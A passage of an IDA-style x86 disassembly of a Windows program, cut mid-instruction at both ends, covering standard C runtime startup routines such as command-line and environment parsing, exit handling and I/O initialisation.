eax, 107h retn sub_402900 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_405150 push offset sub_4035A8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 58h push ebx push esi push edi mov [ebp-18h], esp call dword_4050D4 ; GetVersion xor edx, edx mov dl, ah mov dword_4070F4, edx mov ecx, eax and ecx, 0FFh mov dword_4070F0, ecx shl ecx, 8 add ecx, edx mov dword_4070EC, ecx shr eax, 10h mov dword_4070E8, eax xor esi, esi push esi call sub_403472 pop ecx test eax, eax jnz short loc_40299A push 1Ch call sub_402A49 pop ecx loc_40299A: ; CODE XREF: .text:00402990j mov [ebp-4], esi call sub_4032C7 call dword_4050D0 ; GetCommandLineA mov dword_4075F8, eax call sub_403195 mov dword_4070D0, eax call sub_402F48 call sub_402E8F call sub_402BB1 mov [ebp-30h], esi lea eax, [ebp-5Ch] push eax call dword_4050CC ; GetStartupInfoA call sub_402E37 mov [ebp-64h], eax test byte ptr [ebp-30h], 1 jz short loc_4029E7 movzx eax, word ptr [ebp-2Ch] jmp short loc_4029EA ; --------------------------------------------------------------------------- loc_4029E7: ; CODE XREF: .text:004029DFj push 0Ah pop eax loc_4029EA: ; CODE XREF: .text:004029E5j push eax push dword ptr [ebp-64h] push esi push esi call dword_4050C8 ; GetModuleHandleA push eax call sub_4020D9 mov [ebp-60h], eax push eax call sub_402BDE mov eax, [ebp-14h] mov ecx, [eax] mov ecx, [ecx] mov [ebp-68h], ecx push eax push ecx call sub_402CB3 pop ecx pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] push dword ptr [ebp-68h] call sub_402BEF ; =============== S U B R O U T I N E ======================================= sub_402A24 proc near ; CODE XREF: sub_402E8F+4Ep ; sub_402E8F+7Dp ... arg_0 = dword ptr 4 cmp dword_4070D8, 1 jnz short loc_402A32 call sub_403680 loc_402A32: ; CODE XREF: sub_402A24+7j push [esp+arg_0] call sub_4036B9 push 0FFh call off_406C60 pop ecx pop ecx retn sub_402A24 endp ; =============== S U B R O U T I N E ======================================= sub_402A49 proc near ; CODE XREF: .text:00402994p arg_0 = dword ptr 4 cmp dword_4070D8, 1 jnz short loc_402A57 call sub_403680 loc_402A57: ; CODE XREF: sub_402A49+7j push [esp+arg_0] call sub_4036B9 pop ecx push 0FFh call dword_4050D8 ; ExitProcess retn sub_402A49 endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_402A86 loc_402A70: ; CODE XREF: sub_402A86+17j lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_402A86 ; --------------------------------------------------------------------------- align 10h xor eax, eax mov al, [esp+8] ; =============== S U B R O U T I N E ======================================= sub_402A86 proc near ; CODE XREF: sub_4026F0+6Ej arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00402A70 SIZE 00000005 BYTES push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_402AAB loc_402A98: ; CODE XREF: sub_402A86+23j mov cl, [edx] inc edx cmp cl, bl jz short loc_402A70 test cl, cl jz short loc_402AF4 test edx, 3 jnz short loc_402A98 loc_402AAB: ; CODE XREF: sub_402A86+10j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_402AB6: ; CODE XREF: sub_402A86+5Bj ; sub_402A86+6Aj ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_402AF8 and eax, 81010100h jz short loc_402AB6 and eax, 1010100h jnz short loc_402AF2 and esi, 80000000h jnz short loc_402AB6 loc_402AF2: ; CODE XREF: sub_402A86+62j ; sub_402A86+7Bj ... pop esi pop edi loc_402AF4: ; CODE XREF: sub_402A86+1Bj pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_402AF8: ; CODE XREF: sub_402A86+54j mov eax, [edx-4] cmp al, bl jz short loc_402B35 test al, al jz short loc_402AF2 cmp ah, bl jz short loc_402B2E test ah, ah jz short loc_402AF2 shr eax, 10h cmp al, bl jz short loc_402B27 test al, al jz short loc_402AF2 cmp ah, bl jz short loc_402B20 test ah, ah jz short loc_402AF2 jmp short loc_402AB6 ; --------------------------------------------------------------------------- loc_402B20: ; CODE XREF: sub_402A86+92j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_402B27: ; CODE XREF: sub_402A86+8Aj lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_402B2E: ; CODE XREF: sub_402A86+7Fj lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_402B35: ; CODE XREF: sub_402A86+77j lea eax, [edx-4] pop esi pop edi pop ebx retn sub_402A86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402B3C proc near ; CODE XREF: sub_402900+12p var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_402B5A mov ecx, off_406C70 movzx eax, word ptr [ecx+eax*2] jmp short loc_402BAC ; --------------------------------------------------------------------------- loc_402B5A: ; CODE XREF: sub_402B3C+10j mov ecx, eax push esi mov esi, off_406C70 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_402B7F and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_402B88 ; --------------------------------------------------------------------------- loc_402B7F: ; CODE XREF: sub_402B3C+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_402B88: ; CODE XREF: sub_402B3C+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_40380C add esp, 1Ch test eax, eax jnz short loc_402BA8 leave retn ; --------------------------------------------------------------------------- loc_402BA8: ; CODE XREF: sub_402B3C+68j movzx eax, word ptr [ebp+arg_0+2] loc_402BAC: ; CODE XREF: sub_402B3C+1Cj and eax, [ebp+arg_4] leave retn sub_402B3C endp ; =============== S U B R O U T I N E ======================================= sub_402BB1 proc near ; CODE XREF: .text:004029C1p mov eax, dword_4075F4 test eax, eax jz short loc_402BBC call eax ; dword_4075F4 loc_402BBC: ; CODE XREF: sub_402BB1+7j push offset dword_406010 push offset dword_406008 call sub_402C99 push offset dword_406004 push offset dword_406000 call sub_402C99 add esp, 10h retn sub_402BB1 endp ; =============== S U B R O U T I N E ======================================= sub_402BDE proc near ; CODE XREF: .text:00402A00p arg_0 = dword ptr 4 push 0 push 0 push [esp+8+arg_0] call sub_402C00 add esp, 0Ch retn sub_402BDE endp ; =============== S U B R O U T I N E ======================================= sub_402BEF proc near ; CODE XREF: .text:00402A1Fp ; sub_402A24+1Cp ; DATA XREF: ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_402C00 add esp, 0Ch retn sub_402BEF endp ; =============== S U B R O U T I N E ======================================= sub_402C00 proc near ; CODE XREF: sub_402BDE+8p ; sub_402BEF+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_407124, edi jnz short loc_402C1D push [esp+4+arg_0] call dword_4050E0 ; GetCurrentProcess push eax call dword_4050DC ; TerminateProcess loc_402C1D: ; CODE XREF: sub_402C00+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_407120, edi mov byte_40711C, bl jnz short loc_402C71 mov eax, dword_4075F0 test eax, eax jz short loc_402C60 mov ecx, dword_4075EC push esi lea esi, [ecx-4] cmp esi, eax jb short loc_402C5F loc_402C4C: ; CODE XREF: sub_402C00+5Dj mov eax, [esi] test eax, eax jz short loc_402C54 call eax loc_402C54: ; CODE XREF: sub_402C00+50j sub esi, 4 cmp esi, dword_4075F0 jnb short loc_402C4C loc_402C5F: ; CODE XREF: sub_402C00+4Aj pop esi loc_402C60: ; CODE XREF: sub_402C00+3Cj push offset dword_406018 push offset dword_406014 call sub_402C99 pop ecx pop ecx loc_402C71: ; CODE XREF: sub_402C00+33j push offset dword_406020 push offset dword_40601C call sub_402C99 pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_402C97 push [esp+4+arg_0] mov dword_407124, edi call dword_4050D8 ; ExitProcess loc_402C97: ; CODE XREF: sub_402C00+85j pop edi retn sub_402C00 endp ; =============== S U B R O U T I N E ======================================= sub_402C99 proc near ; CODE XREF: sub_402BB1+15p ; sub_402BB1+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_402C9E: ; CODE XREF: sub_402C99+16j cmp esi, [esp+4+arg_4] jnb short loc_402CB1 mov eax, [esi] test eax, eax jz short loc_402CAC call eax loc_402CAC: ; CODE XREF: sub_402C99+Fj add esi, 4 jmp short loc_402C9E ; --------------------------------------------------------------------------- loc_402CB1: ; CODE XREF: sub_402C99+9j pop esi retn sub_402C99 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402CB3 proc near ; CODE XREF: .text:00402A11p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push [ebp+arg_0] call sub_402DF4 test eax, eax pop ecx jz loc_402DE8 mov ebx, [eax+8] test ebx, ebx jz loc_402DE8 cmp ebx, 5 jnz short loc_402CE4 and dword ptr [eax+8], 0 push 1 pop eax jmp loc_402DF1 ; --------------------------------------------------------------------------- loc_402CE4: ; CODE XREF: sub_402CB3+23j cmp ebx, 1 jz loc_402DE3 mov ecx, dword_407128 mov [ebp+arg_0], ecx mov ecx, [ebp+arg_4] mov dword_407128, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_402DD3 mov ecx, dword_406F00 mov edx, dword_406F04 add edx, ecx push esi cmp ecx, edx jge short loc_402D33 lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:406E90h[esi*4] loc_402D2A: ; CODE XREF: sub_402CB3+7Ej and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_402D2A loc_402D33: ; CODE XREF: sub_402CB3+69j mov eax, [eax] mov esi, dword_406F0C cmp eax, 0C000008Eh jnz short loc_402D4E mov dword_406F0C, 83h jmp short loc_402DBE ; --------------------------------------------------------------------------- loc_402D4E: ; CODE XREF: sub_402CB3+8Dj cmp eax, 0C0000090h jnz short loc_402D61 mov dword_406F0C, 81h jmp short loc_402DBE ; --------------------------------------------------------------------------- loc_402D61: ; CODE XREF: sub_402CB3+A0j cmp eax, 0C0000091h jnz short loc_402D74 mov dword_406F0C, 84h jmp short loc_402DBE ; --------------------------------------------------------------------------- loc_402D74: ; CODE XREF: sub_402CB3+B3j cmp eax, 0C0000093h jnz short loc_402D87 mov dword_406F0C, 85h jmp short loc_402DBE ; --------------------------------------------------------------------------- loc_402D87: ; CODE XREF: sub_402CB3+C6j cmp eax, 0C000008Dh jnz short loc_402D9A mov dword_406F0C, 82h jmp short loc_402DBE ; --------------------------------------------------------------------------- loc_402D9A: ; CODE XREF: sub_402CB3+D9j cmp eax, 0C000008Fh jnz short loc_402DAD mov dword_406F0C, 86h jmp short loc_402DBE ; --------------------------------------------------------------------------- loc_402DAD: ; CODE XREF: sub_402CB3+ECj cmp eax, 0C0000092h jnz short loc_402DBE mov dword_406F0C, 8Ah loc_402DBE: ; CODE XREF: sub_402CB3+99j ; sub_402CB3+ACj ... push dword_406F0C push 8 call ebx ; _lread pop ecx mov dword_406F0C, esi pop ecx pop esi jmp short loc_402DDB ; --------------------------------------------------------------------------- loc_402DD3: ; CODE XREF: sub_402CB3+52j and dword ptr [eax+8], 0 push ecx call ebx ; _lread pop ecx loc_402DDB: ; CODE XREF: sub_402CB3+11Ej mov eax, [ebp+arg_0] mov dword_407128, eax loc_402DE3: ; CODE XREF: sub_402CB3+34j or eax, 0FFFFFFFFh jmp short loc_402DF1 ; --------------------------------------------------------------------------- loc_402DE8: ; CODE XREF: sub_402CB3+Fj ; sub_402CB3+1Aj push [ebp+arg_4] call dword_4050E4 ; UnhandledExceptionFilter loc_402DF1: ; CODE XREF: sub_402CB3+2Cj ; sub_402CB3+133j pop ebx pop ebp retn sub_402CB3 endp ; =============== S U B R O U T I N E ======================================= sub_402DF4 proc near ; CODE XREF: sub_402CB3+7p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_406F08 cmp dword_406E88, edx push esi mov eax, offset dword_406E88 jz short loc_402E21 lea esi, [ecx+ecx*2] lea esi, ds:406E88h[esi*4] loc_402E16: ; CODE XREF: sub_402DF4+2Bj add eax, 0Ch cmp eax, esi jnb short loc_402E21 cmp [eax], edx jnz short loc_402E16 loc_402E21: ; CODE XREF: sub_402DF4+16j ; sub_402DF4+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:406E88h[ecx*4] cmp eax, ecx jnb short loc_402E34 cmp [eax], edx jz short locret_402E36 loc_402E34: ; CODE XREF: sub_402DF4+3Aj xor eax, eax locret_402E36: ; CODE XREF: sub_402DF4+3Ej retn sub_402DF4 endp ; =============== S U B R O U T I N E ======================================= sub_402E37 proc near ; CODE XREF: .text:004029D3p cmp dword_4075E8, 0 jnz short loc_402E45 call sub_403D5B loc_402E45: ; CODE XREF: sub_402E37+7j push esi mov esi, dword_4075F8 mov al, [esi] cmp al, 22h jnz short loc_402E77 loc_402E52: ; CODE XREF: sub_402E37+33j ; sub_402E37+36j mov al, [esi+1] inc esi cmp al, 22h jz short loc_402E6F test al, al jz short loc_402E6F movzx eax, al push eax call sub_403955 test eax, eax pop ecx jz short loc_402E52 inc esi jmp short loc_402E52 ; --------------------------------------------------------------------------- loc_402E6F: ; CODE XREF: sub_402E37+21j ; sub_402E37+25j cmp byte ptr [esi], 22h jnz short loc_402E81 loc_402E74: ; CODE XREF: sub_402E37+52j inc esi jmp short loc_402E81 ; --------------------------------------------------------------------------- loc_402E77: ; CODE XREF: sub_402E37+19j cmp al, 20h jbe short loc_402E81 loc_402E7B: ; CODE XREF: sub_402E37+48j inc esi cmp byte ptr [esi], 20h ja short loc_402E7B loc_402E81: ; CODE XREF: sub_402E37+3Bj ; sub_402E37+3Ej ... mov al, [esi] test al, al jz short loc_402E8B cmp al, 20h jbe short loc_402E74 loc_402E8B: ; CODE XREF: sub_402E37+4Ej mov eax, esi pop esi retn sub_402E37 endp ; =============== S U B R O U T I N E ======================================= sub_402E8F proc near ; CODE XREF: .text:004029BCp push ebx xor ebx, ebx cmp dword_4075E8, ebx push esi push edi jnz short loc_402EA1 call sub_403D5B loc_402EA1: ; CODE XREF: sub_402E8F+Bj mov esi, dword_4070D0 xor edi, edi loc_402EA9: ; CODE XREF: sub_402E8F+30j mov al, [esi] cmp al, bl jz short loc_402EC1 cmp al, 3Dh jz short loc_402EB4 inc edi loc_402EB4: ; CODE XREF: sub_402E8F+22j push esi call sub_402300 pop ecx lea esi, [esi+eax+1] jmp short loc_402EA9 ; --------------------------------------------------------------------------- loc_402EC1: ; CODE XREF: sub_402E8F+1Ej lea eax, ds:4[edi*4] push eax call sub_403DA6 mov esi, eax pop ecx cmp esi, ebx mov dword_407104, esi jnz short loc_402EE3 push 9 call sub_402A24 pop ecx loc_402EE3: ; CODE XREF: sub_402E8F+4Aj mov edi, dword_4070D0 cmp [edi], bl jz short loc_402F26 push ebp loc_402EEE: ; CODE XREF: sub_402E8F+94j push edi call sub_402300 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_402F1F push ebp call sub_403DA6 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_402F12 push 9 call sub_402A24 pop ecx loc_402F12: ; CODE XREF: sub_402E8F+79j push edi push dword ptr [esi] call sub_402810 pop ecx add esi, 4 pop ecx loc_402F1F: ; CODE XREF: sub_402E8F+6Cj add edi, ebp cmp [edi], bl jnz short loc_402EEE pop ebp loc_402F26: ; CODE XREF: sub_402E8F+5Cj push dword_4070D0 call sub_403D77 pop ecx mov dword_4070D0, ebx mov [esi], ebx pop edi pop esi mov dword_4075E4, 1 pop ebx retn sub_402E8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402F48 proc near ; CODE XREF: .text:004029B7p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_4075E8, ebx push esi push edi jnz short loc_402F5F call sub_403D5B loc_402F5F: ; CODE XREF: sub_402F48+10j mov esi, offset dword_40712C push 104h push esi push ebx call dword_405038 ; GetModuleFileNameA mov eax, dword_4075F8 mov dword_407114, esi mov edi, esi cmp [eax], bl jz short loc_402F84 mov edi, eax loc_402F84: ; CODE XREF: sub_402F48+38j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push ebx push ebx push edi call sub_402FE1 mov eax, [ebp+var_8] mov ecx, [ebp+var_4] lea eax, [eax+ecx*4] push eax call sub_403DA6 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_402FB4 push 8 call sub_402A24 pop ecx loc_402FB4: ; CODE XREF: sub_402F48+62j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax mov eax, [ebp+var_4] lea eax, [esi+eax*4] push eax push esi push edi call sub_402FE1 mov eax, [ebp+var_4] add esp, 14h dec eax mov dword_4070FC, esi pop edi pop esi mov dword_4070F8, eax pop ebx leave retn sub_402F48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402FE1 proc near ; CODE XREF: sub_402F48+47p ; sub_402F48+7Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_40300B mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_40300B: ; CODE XREF: sub_402FE1+20j cmp byte ptr [eax], 22h jnz short loc_403054 loc_403010: ; CODE XREF: sub_402FE1+58j ; sub_402FE1+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_403042 test dl, dl jz short loc_403042 movzx edx, dl test byte_4073C1[edx], 4 jz short loc_403035 inc dword ptr [ecx] test esi, esi jz short loc_403035 mov dl, [eax] mov [esi], dl inc esi inc eax loc_403035: ; CODE XREF: sub_402FE1+46j ; sub_402FE1+4Cj inc dword ptr [ecx] test esi, esi jz short loc_403010 mov dl, [eax] mov [esi], dl inc esi jmp short loc_403010 ; --------------------------------------------------------------------------- loc_403042: ; CODE XREF: sub_402FE1+36j ; sub_402FE1+3Aj inc dword ptr [ecx] test esi, esi jz short loc_40304C and byte ptr [esi], 0 inc esi loc_40304C: ; CODE XREF: sub_402FE1+65j cmp byte ptr [eax], 22h jnz short loc_403097 inc eax jmp short loc_403097 ; --------------------------------------------------------------------------- loc_403054: ; CODE XREF: sub_402FE1+2Dj ; sub_402FE1+A5j inc dword ptr [ecx] test esi, esi jz short loc_40305F mov dl, [eax] mov [esi], dl inc esi loc_40305F: ; CODE XREF: sub_402FE1+77j mov dl, [eax] inc eax movzx ebx, dl test byte_4073C1[ebx], 4 jz short loc_40307A inc dword ptr [ecx] test esi, esi jz short loc_403079 mov bl, [eax] mov [esi], bl inc esi loc_403079: ; CODE XREF: sub_402FE1+91j inc eax loc_40307A: ; CODE XREF: sub_402FE1+8Bj cmp dl, 20h jz short loc_403088 test dl, dl jz short loc_40308C cmp dl, 9 jnz short loc_403054 loc_403088: ; CODE XREF: sub_402FE1+9Cj test dl, dl jnz short loc_40308F loc_40308C: ; CODE XREF: sub_402FE1+A0j dec eax jmp short loc_403097 ; --------------------------------------------------------------------------- loc_40308F: ; CODE XREF: sub_402FE1+A9j test esi, esi jz short loc_403097 and byte ptr [esi-1], 0 loc_403097: ; CODE XREF: sub_402FE1+6Ej ; sub_402FE1+71j ... and [ebp+arg_10], 0 loc_40309B: ; CODE XREF: sub_402FE1+19Ej cmp byte ptr [eax], 0 jz loc_403184 loc_4030A4: ; CODE XREF: sub_402FE1+D0j mov dl, [eax] cmp dl, 20h jz short loc_4030B0 cmp dl, 9 jnz short loc_4030B3 loc_4030B0: ; CODE XREF: sub_402FE1+C8j inc eax jmp short loc_4030A4 ; --------------------------------------------------------------------------- loc_4030B3: ; CODE XREF: sub_402FE1+CDj cmp byte ptr [eax], 0 jz loc_403184 test edi, edi jz short loc_4030C8 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_4030C8: ; CODE XREF: sub_402FE1+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_4030CD: ; CODE XREF: sub_402FE1+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_4030D6: ; CODE XREF: sub_402FE1+FCj cmp byte ptr [eax], 5Ch jnz short loc_4030DF inc eax inc ebx jmp short loc_4030D6 ; --------------------------------------------------------------------------- loc_4030DF: ; CODE XREF: sub_402FE1+F8j cmp byte ptr [eax], 22h jnz short loc_403110 test bl, 1 jnz short loc_40310E xor edi, edi cmp [ebp+arg_10], edi jz short loc_4030FD cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_4030FD mov eax, edx jmp short loc_403100 ; --------------------------------------------------------------------------- loc_4030FD: ; CODE XREF: sub_402FE1+10Dj ; sub_402FE1+116j mov [ebp+arg_0], edi loc_403100: ; CODE XREF: sub_402FE1+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_40310E: ; CODE XREF: sub_402FE1+106j shr ebx, 1 loc_403110: ; CODE XREF: sub_402FE1+101j mov edx, ebx dec ebx test edx, edx jz short loc_403125 inc ebx loc_403118: ; CODE XREF: sub_402FE1+142j test esi, esi jz short loc_403120 mov byte ptr [esi], 5Ch inc esi loc_403120: ; CODE XREF: sub_402FE1+139j inc dword ptr [ecx] dec ebx jnz short loc_403118 loc_403125: ; CODE XREF: sub_402FE1+134j mov dl, [eax] test dl, dl jz short loc_403175 cmp [ebp+arg_10], 0 jnz short loc_40313B cmp dl, 20h jz short loc_403175 cmp dl, 9 jz short loc_403175 loc_40313B: ; CODE XREF: sub_402FE1+14Ej cmp [ebp+arg_0], 0 jz short loc_40316F test esi, esi jz short loc_40315E movzx ebx, dl test byte_4073C1[ebx], 4 jz short loc_403157 mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_403157: ; CODE XREF: sub_402FE1+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_40316D ; --------------------------------------------------------------------------- loc_40315E: ; CODE XREF: sub_402FE1+162j movzx edx, dl test byte_4073C1[edx], 4 jz short loc_40316D inc eax inc dword ptr [ecx] loc_40316D: ; CODE XREF: sub_402FE1+17Bj ; sub_402FE1+187j inc dword ptr [ecx] loc_40316F: ; CODE XREF: sub_402FE1+15Ej inc eax jmp loc_4030CD ; --------------------------------------------------------------------------- loc_403175: ; CODE XREF: sub_402FE1+148j ; sub_402FE1+153j ... test esi, esi jz short loc_40317D and byte ptr [esi], 0 inc esi loc_40317D: ; CODE XREF: sub_402FE1+196j inc dword ptr [ecx] jmp loc_40309B ; --------------------------------------------------------------------------- loc_403184: ; CODE XREF: sub_402FE1+BDj ; sub_402FE1+D5j test edi, edi jz short loc_40318B and dword ptr [edi], 0 loc_40318B: ; CODE XREF: sub_402FE1+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_402FE1 endp ; =============== S U B R O U T I N E ======================================= sub_403195 proc near ; CODE XREF: .text:004029ADp var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx mov eax, dword_407230 push ebx push ebp mov ebp, dword_4050B8 push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_4031E3 call ebp ; dword_4050B8 mov esi, eax cmp esi, ebx jz short loc_4031C4 mov dword_407230, 1 jmp short loc_4031EC ; --------------------------------------------------------------------------- loc_4031C4: ; CODE XREF: sub_403195+21j call dword_4050BC ; GetEnvironmentStringsA mov edi, eax cmp edi, ebx jz loc_4032BE mov dword_407230, 2 jmp loc_403272 ; --------------------------------------------------------------------------- loc_4031E3: ; CODE XREF: sub_403195+19j cmp eax, 1 jnz loc_40326D loc_4031EC: ; CODE XREF: sub_403195+2Dj cmp esi, ebx jnz short loc_4031FC call ebp ; dword_4050B8 mov esi, eax cmp esi, ebx jz loc_4032BE loc_4031FC: ; CODE XREF: sub_403195+59j cmp [esi], bx mov eax, esi jz short loc_403211 loc_403203: ; CODE XREF: sub_403195+73j ; sub_403195+7Aj inc eax inc eax cmp [eax], bx jnz short loc_403203 inc eax inc eax cmp [eax], bx jnz short loc_403203 loc_403211: ; CODE XREF: sub_403195+6Cj sub eax, esi mov edi, dword_4050C0 sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+38h+var_4], eax call edi ; dword_4050C0 mov ebp, eax cmp ebp, ebx jz short loc_403262 push ebp call sub_403DA6 cmp eax, ebx pop ecx mov [esp+18h+var_8], eax jz short loc_403262 push ebx push ebx push ebp push eax push [esp+28h+var_4] push esi push ebx push ebx call edi ; dword_4050C0 test eax, eax jnz short loc_40325E push [esp+18h+var_8] call sub_403D77 pop ecx mov [esp+18h+var_8], ebx loc_40325E: ; CODE XREF: sub_403195+B9j mov ebx, [esp+18h+var_8] loc_403262: ; CODE XREF: sub_403195+99j ; sub_403195+A8j push esi call dword_4050C4 ; FreeEnvironmentStringsW mov eax, ebx jmp short loc_4032C0 ; --------------------------------------------------------------------------- loc_40326D: ; CODE XREF: sub_403195+51j cmp eax, 2 jnz short loc_4032BE loc_403272: ; CODE XREF: sub_403195+49j cmp edi, ebx jnz short loc_403282 call dword_4050BC ; GetEnvironmentStringsA mov edi, eax cmp edi, ebx jz short loc_4032BE loc_403282: ; CODE XREF: sub_403195+DFj cmp [edi], bl mov eax, edi jz short loc_403292 loc_403288: ; CODE XREF: sub_403195+F6j ; sub_403195+FBj inc eax cmp [eax], bl jnz short loc_403288 inc eax cmp [eax], bl jnz short loc_403288 loc_403292: ; CODE XREF: sub_403195+F1j sub eax, edi inc eax mov ebp, eax push ebp call sub_403DA6 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4032A8 xor esi, esi jmp short loc_4032B3 ; --------------------------------------------------------------------------- loc_4032A8: ; CODE XREF: sub_403195+10Dj push ebp push edi push esi call sub_402380 add esp, 0Ch loc_4032B3: ; CODE XREF: sub_403195+111j push edi call dword_4050E8 ; FreeEnvironmentStringsA mov eax, esi jmp short loc_4032C0 ; --------------------------------------------------------------------------- loc_4032BE: ; CODE XREF: sub_403195+39j ; sub_403195+61j ... xor eax, eax loc_4032C0: ; CODE XREF: sub_403195+D6j ; sub_403195+127j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn sub_403195 endp ; =============== S U B R O U T I N E ======================================= sub_4032C7 proc near ; CODE XREF: .text:0040299Dp var_44 = byte ptr -44h var_14 = dword ptr -14h var_10 = dword ptr -10h sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_403DA6 mov esi, eax pop ecx test esi, esi jnz short loc_4032E7 push 1Bh call sub_402A24 pop ecx loc_4032E7: ; CODE XREF: sub_4032C7+16j mov dword_4074E0, esi mov dword_4075E0, 20h lea eax, [esi+100h] loc_4032FD: ; CODE XREF: sub_4032C7+52j cmp esi, eax jnb short loc_40331B and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_4074E0 add esi, 8 add eax, 100h jmp short loc_4032FD ; --------------------------------------------------------------------------- loc_40331B: ; CODE XREF: sub_4032C7+38j lea eax, [esp+54h+var_44] push eax call dword_4050CC ; GetStartupInfoA cmp word ptr [esp+54h+var_14+2], 0 jz loc_4033F7 mov eax, [esp+54h+var_10] test eax, eax jz loc_4033F7 mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_403351 mov esi, eax loc_403351: ; CODE XREF: sub_4032C7+86j cmp dword_4075E0, esi jge short loc_4033AB mov edi, offset dword_4074E4 loc_40335E: ; CODE XREF: sub_4032C7+DAj push 100h call sub_403DA6 test eax, eax pop ecx jz short loc_4033A5 add dword_4075E0, 20h mov [edi], eax lea ecx, [eax+100h] loc_40337C: ; CODE XREF: sub_4032C7+CFj cmp eax, ecx jnb short loc_403398 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_40337C ; --------------------------------------------------------------------------- loc_403398: ; CODE XREF: sub_4032C7+B7j add edi, 4 cmp dword_4075E0, esi jl short loc_40335E jmp short loc_4033AB ; --------------------------------------------------------------------------- loc_4033A5: ; CODE XREF: sub_4032C7+A4j mov esi, dword_4075E0 loc_4033AB: ; CODE XREF: sub_4032C7+90j ; sub_4032C7+DCj xor edi, edi test esi, esi jle short loc_4033F7 loc_4033B1: ; CODE XREF: sub_4032C7+12Ej mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_4033EE mov cl, [ebp+0] test cl, 1 jz short loc_4033EE test cl, 8 jnz short loc_4033D0 push eax call dword_4050A0 ; GetFileType test eax, eax jz short loc_4033EE loc_4033D0: ; CODE XREF: sub_4032C7+FCj mov eax, edi mov 